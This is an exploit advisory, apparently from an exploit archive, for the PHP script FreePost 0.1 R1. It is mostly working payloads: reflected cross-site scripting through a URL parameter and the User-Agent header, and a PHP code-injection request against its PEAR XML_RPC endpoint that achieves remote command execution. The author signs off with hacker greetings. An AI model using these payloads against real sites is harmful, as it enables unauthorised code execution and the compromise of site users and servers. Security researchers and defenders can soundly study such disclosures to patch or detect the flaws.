FreePost 0.1 R1 Cross Site Scripting and Remote Command Execution

||\\      || ||       || |-\\          //-|  ____      ________           __________  
|| \\     || ||       || | |\\        //| | |     \   |  ______|         |_______/ /
||  \\    || ||       || | | \\      // | | |  _   \  | |                       / /
||   \\   || ||       || | |  \\    //  | | | |_)  |  | |______    /\`'__\     / /
||    \\  || ||       || | |   \\  //   | | |  _  <   |  ______|   \ \ \/     / /
||     \\ || ||_______|| | |    \\//    | | | |_)  |  | |______     \ \_\    / /
||      \\|| |_________| |_|            |_| |_____/   |________|     \/_/   /_/
______________________________________________________________________________________
# Exploit Title: [FreePost 0.1 R1 Cross Site Scripting and Remote Command Execution]
# Date: [14/06/2012]
# Author: [Number 7]~ Twitter:[@TunisianSeven]
                    ~ Blogspot:[http://tunisianseven.blogspot.com/]
# Software Link: [http://www.phpbrasil.com/script/dYRoLbwWu_zR/freepost-01-r1]
# Version: [0.1 R1]
# Tested on: [Xp Service Pack 2]
______________________________________________________________________________________
###########################################################
Cross Site Scripting:

http://localhost/path/engenie.php?inicio=50:47&s=1<ScRiPt>prompt(925105)</ScRiPt>dc351c9fbef40bd10199aaa9e221c20a

http://localhost:80/freepost0.1-r1/engenie.php
Change your user agent to "<ScRiPt >prompt(1337)</ScRiPt>"

###########################################################
###########################################################
###########################################################
Remote Command Execution:
in:PEAR XML_RPC 1.3.0.

http://localhost:80/freepost0.1-r1/xmlrpc.php

Request Data:
<?xml version="1.0"?><methodCall><methodName>test.method</methodName><params><param><value><name>','')); printf(md5(TunisianSeven)); exit;//</name></value></param></params></methodCall>

###########################################################
______________________________________________________________________________________
Greetz:
All H4x0rs all over the planet.



#  0day.today [2018-04-10]  #